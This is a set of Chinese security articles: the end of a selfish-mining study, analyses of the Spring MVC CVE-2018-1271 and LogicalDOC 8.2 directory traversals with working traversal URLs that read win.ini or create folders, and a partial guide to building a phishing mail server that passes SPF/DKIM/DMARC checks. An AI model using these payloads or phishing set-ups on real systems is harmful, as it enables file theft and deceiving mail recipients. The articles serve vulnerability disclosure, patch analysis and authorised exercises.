在第一阶段之后，系统将调整难度以满足每十分钟开采一个区块的需求。可以在第i个周期中获得新的平均块生成时间。Alice的绝对收入可以表示为下式：
## 0x06 Result
**结论 A：** 当比特币系统中有多个攻击者时，攻击者的最低获利阈值会降低，系统安全性也会降低。
当系统中只有一个攻击者时，若γ1=γ2= 1/2，则攻击者的获利阈值为25％。以Alice为例，考虑γ1=γ2= 1/2，θ1=θ2=
1/3的情况。根据上式(10)，我们可以得出，当Alice的哈希率为16％时，Bob的获利阈值可以达到理论最小值：21.06％。当Alice的哈希率小于16％时，方程式(10)的导数大于0，这意味着Bob的阈值相对于Alice的哈希率会单调递减。当Alice的哈希率大于16％时，则方程式(10)的导数小于0，这意味着Bob的阈值相对于Alice的Hashrate呈单调递增。
下图蓝色曲线代表理论结果，红色点代表实验结果。三个红色点代表三种情况：N是2，3和4。我们可以观察到，当Alice的哈希率大约为16％时，Bob的阈值可以最小。通过计算和模拟，如果Alice和Bob拥有相同的哈希率，则当N为2、3和4时，攻击者的获利阈值分别为27％，23％和22％。它表明，当有两个攻击者时，他们可以采用策略来成功进行攻击，而攻击者的总哈希率不到25％。
**结论 B：** 以Bob为例，如果N不大于4，则Bob的最低获利阈值与N之间存在负相关，而他的收入与N正相关。
在比特币系统中，无论是一个攻击者还是两个攻击者，获利阈值将随着N的增长而收敛。如下图，当攻击者只有一个（situation
1）时，随着N的增加，阈值收敛到25％。当攻击者可以拥有5个以上的私有块时，收敛过程将趋于平稳。当系统中有两个攻击者时（situation
2），N和阈值之间的关系与一个攻击者一致，并且收敛过程也更快。当N为4时，达到收敛平衡，获利阈值为21.48％。当Alice拥有25％（situation
3）和30％（situation 4）的哈希率时，Bob的获利阈值也将是一个收敛过程。
这是因为在不破坏系统正常运行的情况下，Henry的哈希率占了多数。基于此前提，在现实世界中攻击者拥有多个私人区块并且始终处于领先地位的可能性很小。隐藏更多私人区块确实可以增加攻击者的收入吗，但是较长的私有链很容易暴露出攻击者的身份，因为较长的私有链可以使其在发布时更加容易与普通块区分开来。另一方面，如果不知道其他攻击者的存在，则若N越大，丢失所有私人区块的风险就会增加。为了保险起见，攻击者可能选择在一定程度上披露私有区块的数量，以获得相应的收入。此外，这种策略还可以排除双花的影响。
基于上述原因，最好在私有链的长度达到4时发布所有私有块，然后开始下一轮攻击。
有人提出如果设置区块的时效性可以有效地抵制自私挖矿攻击，但阈值的收敛性证明该方法在当前的比特币系统中无效，这是因为在当前系统中默认使用需要确认6个有效区块的交易，不幸的是阈值可能在六个区块之前达到收敛。
**结论 C：** 为了确保攻击能够正常进行，必须满足αh> max {α1，α2}。
作为反例，如果Alice的哈希率最高，并且对私有链的长度没有限制，则Alice可以尽可能长地隐藏其私有链。在攻击过程中的大多数情况下，她可以保持领先地位，这将导致Alice的私有链成为唯一有效链。在这种情况下，Bob和Henry将选择停止挖掘以减少损失。可以推测在这种情况下，Alice的收入可能接近100％，而她的攻击实际上变得毫无意义，这种攻击类似于51％的攻击。结果也证明了这一点，在下图中当Alice的哈希率是45％、Bob的哈希率是25％、Henry的哈希率是35％时得到了situation
1。当Alice的哈希率是45％、Bob的哈希率是35％、Henry的哈希率是25％时得到situation
2。这表明攻击者的私人链越长，他可以获得的利益就越大。只要一个攻击者的哈希率最高，就可能发生这种情况，而不管其他矿工拥有多少哈希率。
**结论 D：** 攻击者将在第一个难度调整回合中失败，无论攻击者的哈希率如何。但他可能会在几个回合后获利，这与攻击者哈希率有关。
假设两个攻击者具有相同的哈希率，如下图。在允许的误差范围内，相对收入和绝对收入相等。因此可以相信相对收入和绝对收入在代表利益方面起着相同的作用。
由方程式(15)得出，当Alice的哈希率更高时，她可以更早获得非法收入。当攻击者的哈希率较小时，要花很长时间才能获利，这意味着在实际系统中执行攻击有些困难。如果总哈希率有所增加，还可以使用此公式来计算何时停止攻击才能获得最大收益。
## 0x06 Conclution
本文研究了区块链系统中多矿池如何影响自私挖矿的获利能力。通过建立马尔可夫链模型来描述攻击者和诚实矿工的行为，可以获得实际最小获利阈值为21.48％。因为考虑到难度调整而对瞬态过程进行建模，发现获利时间与攻击者的挖矿能力之间的负相关关系。 | 社区文章 |
**作者: Badcode@知道创宇404实验室**
**时间: 2018/08/14
英文版：<https://paper.seebug.org/991/>**
### 漏洞简介
2018年04月05日，Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring
Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring
MVC以提供静态资源（例如CSS，JS，图像）。当Spring MVC的静态资源存放在Windows系统上时，攻击可以通过构造特殊URL导致目录遍历漏洞。
### 漏洞影响
* Spring Framework 5.0 to 5.0.4.
* Spring Framework 4.3 to 4.3.14
* 已不支持的旧版本仍然受影响
### 漏洞利用条件
* Server运行于Windows系统上
* 要使用file协议打开资源文件目录
### 漏洞复现
#### 复现环境
* 操作系统Windows
* web代码 [spring-mvc-showcase](https://github.com/spring-projects/spring-mvc-showcase)
* 中间件jetty
#### 环境搭建
1.下载 spring-mvc-showcase
git clone https://github.com/spring-projects/spring-mvc-showcase.git
修改`pom.xml`，使用Spring Framework 5.0.0。
2.修改 Spring MVC 静态资源配置，可参考[官方文档](https://docs.spring.io/spring-framework/docs/5.0.4.RELEASE/spring-framework-reference/web.html#mvc-config-static-resources)
通过官方文档可知有两种方式配置，可自行选择配置。此处通过重写`WebMvcConfigurer`中的`addResourceHandlers`方法来添加新的资源文件路径。在`org.springframework.samples.mvc.config.WebMvcConfig`添加以下代码即可，使用`file://`协议指定`resources`为静态文件目录。
registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");
3.使用 jetty 启动项目
mvn jetty:run
至此复现环境搭建完毕。
#### 复现过程及结果
访问以下链接
http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
可以看到成功读取到`win.ini`的内容了。
### 漏洞分析
当外部要访问静态资源时，会调用`org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest`来处理，在这里下断点调试。
跟进`org.springframework.web.servlet.resource.ResourceHttpRequestHandler:getResource()`。
在`request`中保存的路径是`/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`。在`request.getAttribute()`函数取值时会进行
url
decode操作，此时`path`的值为`%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini`。接下来会对path进行两次校验，将`path`和`path`解码之后的值分别使用`isInvalidPath`函数检查。看下这个函数
当`path`包含有`..`的时候，会调用`cleanPath`函数对`path`处理。跟进
这个函数的作用是把包含`..`的这种相对路径转换成绝对路径。例如`/foo/bar/../`经过`cleanPath`处理后就会变成`/foo/`。
`cleanPath`的问题在于`String[] pathArray = delimitedListToStringArray(pathToUse,
"/");`这个是允许空元素存在的，也就是说`cleanPath`会把`//`当成一个目录，而操作系统是不会把`//`当成一个目录的。借用一张Orange大佬的图。
继续回到流程上，上面说到会对path进行两次校验，第一次调用`isInvalidPath`，`path`的值是`%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini`，因为`path`以`/`分割之后没有元素等于`..`，所以`path`经过`cleanPath`处理后的值不变，继续之后的判断，`path`里面也不包含`../`，所以最终返回`false`，也就是通过了校验。
第二次调用`isInvalidPath(URLDecoder.decode(path,
"UTF-8"))`，此时参数值是`\\..\/..\/..\/..\/..\/..\/..\/..\/..\/windows/win.ini`，经过`cleanPath`处理后的值是`//windows/win.ini`，之后继续判断，`path`里面也不包含`../`，最终返回false，也通过了校验。
通过两次校验之后，继续向下执行。获取一个`Resource`对象
`path`的值还是之前，`getLocations()`获取到的就是之前在配置文件中配置的路径`file:./src/main/resources/`，继续跟进
跟进`ResourceResolver`类的`resolveResource`
跟进`PathResourceResolver`的`resolveResourceInternal`
进入到`org.springframework.web.servlet.resource.PathResourceResolver`的`getResource()`
此时的`resourcePath`就是之前的`path`，`location`就是之前`getLocations()`获取到的值。继续跟进`this.getResource`
调用`location.createRelativ`拼接得到文件的绝对路径，返回一个`UrlResource`对象
返回到`getResource`函数
此时，`resource`是一个`UrlResource`对象，可以看到值是`file:src/main/resources/%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini`，之后调用`exists()`方法检查该文件是否存在，调用`isReadable()`方法检测该文件是否可读。进去`exists()`方法
这里会调用`isFileURL`对`url`进行判断，是否以`file://`协议来读取文件，这也是为什么配置静态目录的时候要使用`file://`协议。
通过判断之后，会调用`this.getFile()`来获取这个文件对象，这个方法在`org.springframework.util.ResourceUtils`这个方法类里面，跟进
这里对是否为`file://`协议又判断了一次，之后进行了一步最重要的操作`new
File(toURI(resourceUrl).getSchemeSpecificPart());`，将`resourceUrl`转换为URL对象，最后调用`URI`类的`getSchemeSpecificPart()`获取到文件路径，而在`getSchemeSpecificPart()`里面是有一次`decode`操作的，也就是在这里把`%5c`解码成了`\`，跟进
最后返回到`exists()`，最终返回`true`，即文件存在
之后调用`isReadable()`方法检测该文件是否可读的时候，同样会调用这个`getFile`，最终返回`true`，即文件可读。
至此，对于`resource`的判断都结束了。返回到`org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest()`，获取到通过校验`resource`的之后，就开始准备response的内容了，包含获取文件的类型(用于response的Content-type)，文件的大小(用于response的Content-length)等等，最后调用`this.resourceHttpMessageConverter.write(resource, mediaType,
outputMessage);`获取文件的内容并返回给用户。
跟进`write()`
跟进`writeInternal`，之后再跳到`writeContent`
跟进`resource.getInputSream()`
可以看到，这里使用`openConnection`创建一个`URLConnection`实例，也是在`openConnection`方法内，会自动`decode`，把`%5c`解码成`\`，然后返回文件的`InputStream`对象，最终读取内容返回给用户。
### 注意事项
1. 这个漏洞是可以在 Tomcat 下触发的，因为payload的双URL编码的。
2. 在Spring Framework 大于5.0.1的版本(我的测试环境5.0.4)，双URL编码payload是不行的，单次URL编码的payload的却是可以的，这种情况下该漏洞就无法在Tomcat下触发了，因为在默认情况下Tomcat遇到包含`%2f(/)`、`%5c(\)`的URL直接http 400，在 jetty 下是可以触发的。
至于为什么双URL编码不行，是因为`org.springframework.web.servlet.resource.PathResourceResolver`的`getResource()`多了一个`encode`操作。
如果是双URL编码payload的进来，在获取`path`的时候解码一次，经过一次`isInvalidPath`判断，然后进入到`PathResourceResolver`的`getResource()`，也就是上图的位置，这里又会重新编码一次，又回到了双编码的情况了。最后在文件判断是否存在`exists()`方法的时候，`getSchemeSpecificPart()`只能解码一次，之后是无法读取到文件的，也就是文件不存在。
所以这里要使用单次编码才行。
### 补丁分析
看官方的[补丁](https://github.com/spring-projects/spring-framework/commit/0e28bee0f155b9bf240b4bafc4646e4810cb23f8#diff-ca3a08ce8b5af11bfc5f03aa7f426cd9)，是在`ResourceHttpRequestHandler`的`getResource()`里面把`processPath`重写了
在进入`isInvalidPath`之前调用`processPath`函数对`path`处理，替换反斜线为斜线，删掉多余斜线，从而导致在`isInvalidPath`里面校验不通过。如果使用双编码方式的话，会经过`isInvalidEncodedPath`，里面会先对`path`解码，然后调用`processPath`处理，最后经过`isInvalidPath`，同样无法通过检查。
### 漏洞修复
* Spring Framework 5.*（5.0到5.0.4）版本，建议更新到5.0.5版本
* Spring Framework 4.3.*（4.3到4.3.14）版本，建议更新到4.3.15版本
* 不再受支持的旧版本，建议更新到4.3.15版本或5.0.5版本
### 参考链接
* [CVE-2018-1271: Directory Traversal with Spring MVC on Windows](https://pivotal.io/security/cve-2018-1271)
* [Breaking Parser Logic! Take Your Path Normalization Off and Pop 0days Out](http://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)
* [Directory Traversal with Spring MVC on Windows](https://bl4ck.in/vulnerability/analysis/2018/04/10/Directory-Traversal-with-Spring-MVC-on-Window.html)
* * * | 社区文章 |
# LogicalDOC 8.2目录遍历漏洞 分析复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
hello~我是掌控安全实验室的Mss，欢迎关注我们的从CVE分析学漏洞专栏，以及新型漏洞跟进分析专题。我们会在线讲解部分发表文章漏洞的原理、并进行复现分析，[现在点击](https://ke.qq.com/course/275794?flowToken=1009064)即可关注。
LogicalDOC是一家全球性软件公司，提供基于Java的专为公司管理和共享文件而设计的文档管理系统。而在其发布的8.2中存在目录遍历漏洞。
目录遍历其实是中间键的一个功能选项，用于共享文件，但由于管理员的疏忽或经验不足，在网站中开启了这项功能，那么用户就可以通过目录的形式访问网站中的文件，这就是一个不折不扣的大漏洞了。
Web服务器主要提供两个级别的安全机制：
* 访问控制列表
* 根目录访问
访问控制列表是用于授权过程的，它是一个Web服务器的管理员用来说明什么用户或用户组能够在服务器上访问、修改和执行某些文件的列表，同时也包含了其他的一些访问权限内容。
根目录是服务器文件系统中一个特定目录，它往往是一个限制，用户无法访问位于这个目录之上的任何内容。利用这个漏洞，攻击者能够走出服务器的根目录，从而访问到文件系统的其他部分，譬如攻击者就能够看到一些受限制的文件，或者更危险的，攻击者能够执行一些造成整个系统崩溃的指令。
而在LogicalDOC的今年(2019.1.25)发布的8.2版本中，攻击者只要成为一个拥有只读权限的guest用户，就可以在服务器上任意创建目录，任意下载文件。在后续版本中，这个漏洞已经被修复。
本文将从 代码分析、漏洞利用 和 漏洞复现 三个方面介绍这个漏洞。
## 代码分析
RIPS发布了最新的RIPS 3.0,它支持Java代码分析，它在30分钟内扫描分析了LogicalDOC
8.2大约200,000条代码，并将生成的[RIPS扫描报告](https://demo.ripstech.com/scan/105/153)公布出来。
接下来的文章将围绕此报告展开。
分析显示，LogicalDOC的DownloadServlet出了问题，这个servlet是用户下载文件的接口，它会调用一个名为downloadPluginResource()的函数，这个函数允许下载插件目录中已安装的插件文件，但是由于没有对输入的参数过滤，导致攻击者可以利用目录遍历进行任意文件下载。下面的是DownloadServlet的部分内容，它继承了Java的HttpServlet类。其中，doGet()函数会处理通过get方式访问这个serverlet的请求。我们可以看到downloadPluginResouse()函数一共有6个参数，其中后面的三个参数是通过request中获取到的，分别是pluginId,resourcePath和fileName（第7-9行）。
com.logicaldoc.web.DownloadServlet
public class DownloadServlet extends HttpServlet
{
⋮
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
⋮
ServletUtil.downloadPluginResource(request, response, session.getSid(),
request.getParameter("pluginId"), request.getParameter("resourcePath"),
request.getParameter("fileName")); //以get方式接收pluginId，resourcePath和fileName
⋮
}
}
注意：
在下面的代码中，在函数downloadPluginResource()的第5行，pluginId变成了pluginName，这意味着我们可以通过控制GET传入的pluginId来控制pluginName（可以理解为GET传入的pluginId赋值给变量pluginName）。在第8行，未经过处理的参数传给了PluginRegistry类的getPluginResource()函数。
在第13行应用程序创建了一个用于读取文件的输入流(FileInputStream)，并在第19行创建一个用于写出数据的输出流(OutputStream),然后在HTTTP响应中返回给客户端。说简单点，就是在第8行读取file文件，然后通过第19行的处理可以将这个file返回给客户端。
com.logicaldoc.web.util.ServletUtil
public class ServletUtil
{
⋮
public static void downloadPluginResource(HttpServletRequest request,
HttpServletResponse response, String sid, String pluginName, String resourcePath, String fileName) //之前的pluginId变成了pluginName
{
⋮
File file = PluginRegistry.getPluginResource(pluginName, resourcePath); //变量未经处理直接传入
String mimetype = MimeType.getByFilename(filename);
InputStream is = null;
ServletOutputStream os = null;
is = new FileInputStream(file); //创建一个用于读取文件的输入流
os = response.getOutputStream();
int letter = false;
byte[] buffer = new byte[131072];
while((letter = is.read(buffer)) != -1)
{
os.write(buffer, 0, letter); //创建一个用于写出数据的输出流
}
⋮
}
}
那么问题来了，如果我们可以控制变量file，那么我们不是就可以做到任意文件下载呢？
查看PluginRegistry函数，注意：
在第一行中resourcePath变成了path。这里变量path没有经过处理直接传给第4行中的java.io.File，构成了文件的路径。
com.logicaldoc.util.plugin.PluginRegistry
public static File getPluginResource(String pluginName, String path) //resourcePath变成了path
{
File root = getPluginHome(pluginName);
File resource = new File(root.getPath() + "/" + path); //确定文件的路径
if (!resource.exists() && !path.contains(".")) //判断文件是否存在，如果不存在，创建
{
FileUtils.forceMkdir(resource);
}
return resource;
}
在测试时发现并不能直接进行任意文件下载，于是注意到getPluginHome()函数。这里同样没有对输入的变量pluginName进行验证或过滤。这段代码的意思是进入插件所在的文件夹，如果不存在，则创建这个文件夹。
com.logicaldoc.util.plugin.PluginRegistry
public static File getPluginHome(String pluginName)
{
File root = getPluginsDir();
File userDir = new File(root, pluginName);
if (!userDir.exists()) //判断文件夹是否存在，如果不存在，创建
{
FileUtils.forceMkdir(userDir);
}
return userDir;
}
## 利用
通过代码分析可知，变量pluginName可以让我们进入 指点文件夹 或者在 任意一个位置创建一个文件夹 ，通过控制变量path我们可以控制我们想要
下载的文件名（路径） 。
注意： 在我们分析的第一段代码中，通过get方式接收了三个参数 pluginId,resourcePath和fileName。
ServletUtil.downloadPluginResource(request, response, session.getSid(),
request.getParameter("pluginId"), request.getParameter("resourcePath"),
request.getParameter("fileName"));
在我们分析的第二段代码中，pluginId变成了pluginName。
public static void downloadPluginResource(HttpServletRequest request,
HttpServletResponse response, String sid, String pluginName, String resourcePath, String fileName)
同时注意在第二段代码和第三段代码中getPluginResource()的区别：
getPluginResource(pluginName, resourcePath);
getPluginResource(String pluginName, String path)
变量resourcePath变成了path。
综上所述只要我们控制了resourcePath和pluginId就能达到我们的目的。
通过分析Web应用程序的web.xml文件，我们可以修改URL中传入/download的参数来达到我们的目的。
web.xml
⋮
<servlet>
<servlet-name>Download</servlet-name>
<servlet-class>com.logicaldoc.web.DownloadServlet</servlet-class>
</servlet>
⋮
<servlet-mapping>
<servlet-name>Download</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
⋮
综上， 任意文件夹创建poc:/download?pluginId=../../xxx/xxx
任意文件下载poc:/download?resourcePath=文件名&pluginId=../../../../../../../xx/xx
(../只是为了跳转到系统根目录，所以加了尽可能多的../)
## 复现
操作系统:windows 10(mac，linux都可以)虚拟机 IP:192.168.52.135 运行环境:[JAVA
11](https://www.oracle.com/technetwork/java/javase/downloads/jdk11-downloads-5066655.html)
软件版本:[LogicalDOC 8.2 (WINDOWS)](https://www.logicaldoc.com/download/main-application-installers/asia?start=5)
#### step 1:安装
下载安装所需软件，一路默认安装，安装完成之后，点击桌面的 LogicalDOC
，默认端口为8080，注意，这个版本可能需要激活码，可以免费申请一个30天的试用码。
#### step 2:创建用户
依次点开 管理-安全-用户-添加用户（按要求添加用户，分组为guest，在用户名上右键修改密码）。 如图，我创建了一个名为test1的用户。
![avatar][step2.1]
#### step3 构造poc:
这张图是C盘的根目录，我将利用/download?pluginId=../../../../../../掌控安全学院在这个地方创建一个名为 掌控安全学院
的文件夹
用test1账户登录,在url栏输入
http://192.168.52.135:8080/download?pluginId=../../../../../../掌控安全学院
![avatar][step3.2]
在C盘windows目录下有一个win.ini文件，我将利用/download?resourcePath=win.ini&pluginId=../../../../../../../Windows下载这个文件。
在url栏输入
http://192.168.52.135:8080/download?resourcePath=win.ini&pluginId=../../../../../../../Windows
### 注意
上面的../的目的是为了调到根目录，因为不知道当前所在的路径，所以尽可能多的使用../调到根目录，此外任意文件下载是由resourcePath和pluginId共同决定的，因此上面的poc也可以写成/download?resourcePath=Windows/win.ini&pluginId=../../../../../../../；另外，如果是一个不存在文件，也会提示下载，但是大小显示为0。
### 文末
欢迎关注我们的从CVE分析学漏洞专栏，以及新型漏洞跟进分析专题。我们会在线讲解部分发表文章漏洞的原理、并进行复现分析。现在扫码添加客服微信，即可收到活动及福利通知哦。
## 参考链接
<https://blog.ripstech.com/2019/logicaldoc-path-traversal/> | 社区文章 |
# 前言
邮件钓鱼已经是老生常谈。不同的场景下当然有不一样的选择。在攻防演练中，我更加偏向于选择现有知名的邮件服务供应商，例如163、QQ等。因为是国内的演练，不会选择使用国外的邮件服务，更加别提臭名昭著的OutLook邮箱。在国内使用
163 可信度高，能让邮件的送达率高，但是往往在发送邮件的频率上有限制。
在邮件钓鱼演练服务，针对企业大批量的钓鱼，我们可以选择自建邮件服务器。这样可以没有发件频率的限制，你可以伪造发件人，也可以改变发件人的IP，但有很多因素导致邮件信任度不高无法抵达对方的邮件，也有可能会被当做垃圾邮件处理。此篇文章讲述了一些提高邮件可信度的设置方法。
其实邮件可信一方面是身份可信，一方面是内容可信。在身份可信上就有很多重校验，这一方面是需要我们第一步摆平的。这里涉及到IP地区、IP信任、IP网络可达；域名相似、域名信誉、域名购买时间；SPF/DKIM/DMARC/PTR身份认证；TLS/SSL证书、
S/MIME证书传输认证等。内容可信可以涉及到发件人名称、地址；邮件内容；邮件附件等。
# 前提条件选择
前提条件选的好，那就成功一半了。
## 邮件服务的选择
搭建邮件服务已经非常常见了，然而在选择邮件服务上还存在一些选项。
我接触过 sendmail 、Ewoemail、iRedMail 其他的暂未了解，其中 sendmail
只提供了邮件服务没有可视化管理的界面。但好在小巧，安装方便，自定义程度高。Ewoemail和iRedMail，都有后台和用户邮件管理系统，体积大，可以省去很多功夫。这里我使用
sendmail 达到我们的目的。
也可以选择使用 iRedMail
安装，它的配置教程：<https://v2rayssr.com/iredmail.html#%E5%87%86%E5%A4%87%E5%B7%A5%E5%85%B7>
## VPS的选择
为了更好的搭建邮件服务，增加可信度，我们需要有一台满足以下条件的VPS：
* 25 端口开放且没有VPS提供商监管
* 可以设置 PTR Records
* 内存大于 1 GB
在国内，VPS提供商有的限制25端口，有的禁止25端口，大多都不允许自建提供于公网的邮件服务器；PTR
的设置需要VPS提供商设置，有的需要付费，有的禁止。这里我选择了国外的VPS提供商
hostinger，也是国内多少从业外贸商的选择。当然也可以从众选择搬瓦工，也可以选择小众或个人提供的VPS。尽管选择很多，但需要
**注意IP的信誉度。**
## 域名提供商和域名的选择
全球有数不清的域名提供商，其中比较出名的是 Godaddy、Enom、TuCows。国内的域名注册用 Whois 查询可能可以获取到注册人的信息，但使用
Godaddy 可以不用担心这个。
域名的选择可以参考这个 <https://www.maigoo.com/top/428603.html>。其中 .com
、.cn、.us比较常见，这些TLDs 顶级域名可信度较高。如果你选择使用类似于 .space 的域名，会碰到这种情况。
# 设置身份验证
通过身份验证的邮件：
* 有助于为收件人防范钓鱼式攻击邮件等恶意电子邮件。
* 不容易被 Gmail 拒收或标记为垃圾邮件。
邮件必须通过 SPF 或 DKIM 检查，才能通过身份验证。要通过 DMARC 检查，邮件必须先通过 SPF 或 DKIM
身份验证，而且身份验证网域必须与邮件的 From: 标头中的网域相同。
## 邮件可信度测试地址
<https://www.mail-tester.com/>
一天只能免费测试三封邮件，注意把控次数。
设置域名：mydomain.com
**文中的这个域名请你自行替换成自己的域名。**
根据以下内容设置完后邮件可信度测试如下所示，其中扣分的地方是我购买的域名还没超过28天。
还有一种被动检查方式
<https://en.internet.nl/test-mail/>
关于DANE设置可以看这篇 <https://blog.apnic.net/2019/11/20/better-mail-security-with-dane-for-smtp/>
> 了解更多请看 <https://support.google.com/a/answer/81126?hl=zh-Hans>
## 设置 SPF 记录
SPF 记录是为了防止垃圾邮件而设定的，告知收件方，从设置的允许列表中发出的邮件都是合法的，设置方式为添加一条根域名的 TXT 解析记录
内容为 `v=spf1 mx ~all`
检测方式：`nslookup -type=txt mydomain.com`
上面的 `~all` 前缀代表软拒绝，对接收方来说，遇到有软拒绝的域名没有通过SPF校验，通常采取的策略是放行或者标记为垃圾邮件。
设置完成后可以使用这个地址来测试你的SPF。<https://www.kitterman.com/spf/validate.html>
> 了解更多SPF相关内容可以参考：<https://github.com/internetstandards/toolbox-> wiki/blob/main/SPF-how-to.md>
> 了解如何绕过SPF：<https://www.freebuf.com/articles/system/238215.html>
## 设置 A 记录
将 `mail.mydomain.com` 的 A 记录指向你的 VPS 服务器（邮件服务器）IPv4地址
检测方式：`nslookup mail.mydomain.com`
## 设置 AAAA 记录
将 `mail.mydomain.com` 的 AAAA 记录指向你的 VPS 服务器（邮件服务器）IPv6地址
检测方式：`nslookup mail.mydomain.com`
## 设置 MX 记录
MX 记录就是邮件的解析记录，非常重要的一条记录，配置根域名的 MX 记录为自己的邮件域名地址，优先级为 10
检测方式：`nslookup -type=mx mydomain.com`
## 设置 DMARC 记录
DMARC
记录是当收件方检测到伪造邮件等行为时，将根据您的配置进行操作的一个记录，比如拒绝邮件或放入垃圾邮件以及不做处理等，同时会反馈一份检测报告到配置的邮箱地址内。
添加方法就是增加一条 _dmarc 的 TXT 解析，内容为配置选项，`v=DMARC1; p=none; pct=100;
rua=mailto:[email protected]`
检测方式：`nslookup -type=txt _dmarc.mydomain.com`
在检测中可能会遇到 DMARC 政策不够严格，我们可以设置成 `p=quarantine` 或者
`p=reject`，分别是隔离和拒绝政策，我们可以直接设置成 `v=DMARC1; p=reject; pct=100;
rua=mailto:[email protected]`
> 了解更多关于DMARC相关知识参考：<https://github.com/internetstandards/toolbox-> wiki/blob/main/DMARC-how-to.md>
## 启用并设置 DNSSEC
域名系统安全扩展（DNS Security Extensions，简称DNSSEC）是用于确定源域名可靠性的数字签名
，通过在域名中添加DNSSEC记录，可以增强对DNS域名服务器的身份认证，有效防止DNS缓存污染等攻击。本文为您介绍如何在阿里云域名服务控制台上添加及同步DNSSEC记录。
> 阿里云域名用户可以看这篇 <https://help.aliyun.com/document_detail/101717.html>
这里我使用的是 CF，到域名管理控制台左侧栏找到 DNS 中的 Settings，进入 DNS 设置页面启用 DNSSEC。
开启后会给出几个值。
到你的域名注册商设置 DS 记录，我的域名注册商是Godaddy 到域名DNS设置处找到 DNSSEC。
> 官方教程 <https://sg.godaddy.com/help/enable-dnssec-on-my-domain-6420>
其中的 Key tag、Algorithm、Digest Type、Digest按照提供的数据填写后点击 Update 即可。
## 设置 DKIM 记录 【重点】
DKIM 可说是避免被判定为垃圾邮件的一大利器，DKIM 属于一种类似加密签名的解析记录，只有包含此加密数据，且公钥与密钥相匹配才属于合法邮件，要设置
DKIM 记录，首先要查询 DKIM 信息。
> 了解更多DKIM相关知识可以参考：<https://github.com/internetstandards/toolbox-> wiki/blob/main/DKIM-how-to.md>
### Amavisd 查询
如果你的邮件服务器使用的是类似 EwoMail 或者 iRedMail 等大型邮件服务器就可以使用这个方法。
查询 DKIM 可以使用系统命令
`amavisd showkeys` OR
`amavisd -c /etc/amavisd/amavisd.conf showkeys`
如果不存在 amavisd 可以使用命令安装 `yum --enablerepo=rpmforge,rpmforge-extras install
amavisd-new -y`
### OpenDKIM 签名 【比较繁琐】
>
> 文中这节如果有一些描述没有读懂可以看这篇参考文章<https://meumobi.github.io/sendmail/2015/09/18/install-> configure-dkim-sendmail-debian.html>
sendmail 的配置文件
* /etc/mail/sendmail.cf 主配置文件
* /etc/mail/sendmail.mc 模板文件
* /etc/mail/access 完成中继转发功能,即加入允许访问的域名
* /etc/aliases 该文件包含 sendmail 程序所用到的别名数据库的文本形式。
* /etc/mail/local-host-names 本地主机名和域名的列表决定收到的邮件是本地邮件，还是远程邮件，然后决定是地投送还是转发。
* /etc/mail/sendmail.cw 当一个主机有多个域名时，在此加入这些域名
* /var/spool/mqueue 邮件队列临时存放的目录
* /var/mail 存放所有收到的邮件
* /var/log/maillog 日志文件
#### 1、设置主机名
如果以及设置过可以跳过这一步。
`vim /etc/hosts`在hosts 文件添加一段
127.0.0.1 mail.mydomain.com mail
这里的 127.0.0.1 替换成你的 VPS IP。
`echo mail > /etc/hostname` 修改你的 hostname
验证 `hostname -f` 即可看到 `mail.mydomain.com`，而不加选项则是短名称，如果你的不是这样可以使用 `sudo
hostname mail` 强制修改。
#### 2、安装服务
我使用的是 sendmail 作为我的邮件服务器，并安装 OpenDKIM 。安装命令如下。
yum install sendmail sendmail-cf mailutils sharutils opendkim opendkim-tools -y
为您的密钥创建新目录
mkdir -p /etc/opendkim/keys/mydomain.com
#### 3、生成签名密钥并配置opendkim
上面的命令将在新创建的目录下创建两个文件 default.private 和 default.txt 如果您对创建密钥时可用的其他选项感兴趣，可以执行
`man opendkim-genkey`查看更多选项。在此示例中，我使用了 -D（目录）选项、-d（域）选项和 -s（选择器）选项。
请留意这里的 -s 选项，这里可以默认为 default 你可以选择自定义任意字符。
opendkim-genkey -D /etc/opendkim/keys/mydomain.com -d mydomain.com -s default
将所有权更改为 opendkim **这一步是必须的，不然opendkim没有权限访问 /etc/opendkim/keys/mydomain.com
文件夹，导致无法正常对邮件进行签名。**
chown -R opendkim:opendkim /etc/opendkim/keys/mydomain.com
chmod 640 /etc/opendkim/keys/mydomain.com/default.private
chmod 644 /etc/opendkim/keys/mydomain.com/default.txt
`vim /etc/opendkim.conf` 配置 OpenDKIM，这是我配置的文件。请对照着修改。
PidFile /var/run/opendkim/opendkim.pid
Mode sv
Syslog yes
SyslogSuccess yes
LogWhy yes
UserID opendkim:opendkim
Socket inet:8891@localhost
Umask 002
SendReports yes
SoftwareHeader yes
Canonicalization relaxed/simple
Domain mydomain.com
Selector default
MinimumKeyBits 1024
KeyFile /etc/opendkim/keys/mydomain.com/default.private
KeyTable refile:/etc/opendkim/KeyTable
SigningTable refile:/etc/opendkim/SigningTable
ExternalIgnoreList refile:/etc/opendkim/TrustedHosts
InternalHosts refile:/etc/opendkim/TrustedHosts
OversignHeaders From
AutoRestart Yes
AutoRestartRate 10/1h
SignatureAlgorithm rsa-sha256
`vim /etc/opendkim/KeyTable`在该文件添加下面一行。
default._domainkey.mydomain.com mydomain.com:default:/etc/opendkim/keys/mydomain.com/default.private
`vim /etc/opendkim/SigningTable`在该文件添加下面一行。
*@mydomain.com default._domainkey.mydomain.com
